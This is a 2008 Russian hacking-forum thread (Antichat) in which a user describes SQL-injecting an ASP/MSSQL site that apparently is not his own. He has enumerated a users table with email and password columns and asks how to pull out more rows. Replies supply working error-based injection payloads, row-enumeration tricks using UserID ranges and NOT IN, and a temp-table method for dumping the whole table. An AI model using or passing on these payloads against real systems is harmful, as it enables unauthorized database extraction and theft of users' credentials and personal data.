ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Чтение данных с MsSql
  #1  
Старый 25.02.2008, 14:15
constanta
Познающий
Регистрация: 19.09.2007
Сообщений: 38
Провел на форуме:
424313

Репутация: 2
По умолчанию Чтение данных с MsSql

Уважаемые Гуру, начал изучать не так давно mssql и столкнулся на одном, очень интересном для меня, ресурсе вот с такой бедой :

Прочитал из базы все таблицы и имена всех колонок из интересующих меня таблиц.

В результате имеем таблицу
aUsers и колонки в ней

Email
EventUser
LastLogon
LogOns
Name
Notes
Password
UserID
UserName


Попробывал прочитать интересующую меня колонку
Emai вот таким способом

Цитата:
1+or+1=(SELECT+TOP+1+email+from+aUsers)
Получил

Цитата:
ADODB.Parameter error '800a0d5d'

Application uses a value of the wrong type for the current operation.

/duich/events/List.asp, line 185
Перестроил запрос на вот так

Цитата:
1+or+1=(SELECT+TOP+1+email+from+INFORMATION_SCHEMA .COLUMNS+WHERE+TABLE_NAME='aUsers'+AND+COLUMN_NAME ='email')
Получил 1 мыло. Дальше пытался в конце добавить + where+userid={какое то значение}

получил синтаксическую ошибку. Я так понимаю что 2 раза where не катит. Хорошо сделал вот так

Цитата:
1+or+1=(SELECT+max(email)+from+aUsers)
Получал опять какое то мыло.

ВОПРОС!!! КАк можно просмотреть дальше список емайлов если
Цитата:
1+or+1=(SELECT+TOP+1+email+from+aUsers)
не работает.

Прошу прощения что так длинно все это описал. Хотел просто что бы вы видели мои действия.

З.Ы Хочу выразить отдельную благодарность Cash за его статью про MsSql. Спасибо огромное!!!!

Последний раз редактировалось constanta; 25.02.2008 в 14:23..
 
Ответить с цитированием

  #2  
Старый 25.02.2008, 14:24
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

<>
not in
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #3  
Старый 25.02.2008, 14:26
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

SELECT ROW_NUMBER() OVER (ORDER BY email DESC) AS Row
WHERE Row >=1 AND Row <3
Перебирать...
 
Ответить с цитированием

  #4  
Старый 25.02.2008, 15:45
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Цитата:
<>
not in
удачи тебе слить так базу хотя бы в 5к =))
Цитата:
SELECT ROW_NUMBER() OVER (ORDER BY email DESC) AS Row
WHERE Row >=1 AND Row <3
Перебирать что??? будут выводить номера строк... я тебе из и так могу 1,2,3,4,5,6...
Не уверен что данная конструкция будет работать в иньекции.

Для начала
Определяем общее число записей.
Цитата:
1+or+1=(SELECT+count(*) +from+aUsers)--
далее определяем числовые приделы индексации, тоесть минимальный и максимальный
UserID
Цитата:
1+or+1=(SELECT+min(UserID) +from+aUsers)--
1+or+1=(SELECT+max(UserID) +from+aUsers)--
Далее оперевщись на эти данные выводим те промежутки которые нам надо:

Цитата:
1+or+1=(SELECT+TOP+1+email+from+aUsers+where+UserI D=>100)
1+or+1=(SELECT+TOP+1+email+from+aUsers+where+UserI D=<200)
Смотрим есть ли вывод, и делаем запросы уже на конкретные UserID.

Если нету числового поля идущего по примеру $i=1; $i++; то просто создаем таблицу и инстертим туда что нам надо делая при этом такую индексацию id которая нас бы устроила.
 
Ответить с цитированием

  #5  
Старый 25.02.2008, 16:01
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

[ cash ]

Цитата:
<>
not in

Цитата:
удачи тебе слить так базу хотя бы в 5к =))
ну да, конечно, уему удобней создать новую таблицу)))


Цитата:
1+or+1=(SELECT+TOP+1+email+from+INFORMATION_SCHEMA .COLUMNS+WHERE+TABLE_NAME='aUsers'+AND+COLUMN_NAME ='email')



Получил 1 мыло. Дальше пытался в конце добавить + where+userid={какое то значение}
два where нигде не поддерживается

select blabla from blabla where q='1' and w='1' and ..
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #6  
Старый 25.02.2008, 20:05
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

тоже считаю, что удобнее создать табличку с индексами, запихнуть туда нужные значения и вытаскивать их примерно как то так:

CREATE TABLE temp (
id INT( 6 ) NOT NULL AUTO_INCREMENT ,
email VARCHAR( 255 ) NOT NULL ,
INDEX ( id )
); insert temp (email) select email from aUsers;

сталкивался с такой проблеммой, один раз ооочень помогла конструкция union select но возможность использования этой конструкции зависит от везения
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Долбим Sql’ные базы данных k00p3r Чужие Статьи 0 13.06.2005 14:13
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Защищаем MySql. Шаг за шагом k00p3r Чужие Статьи 0 13.06.2005 11:18
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ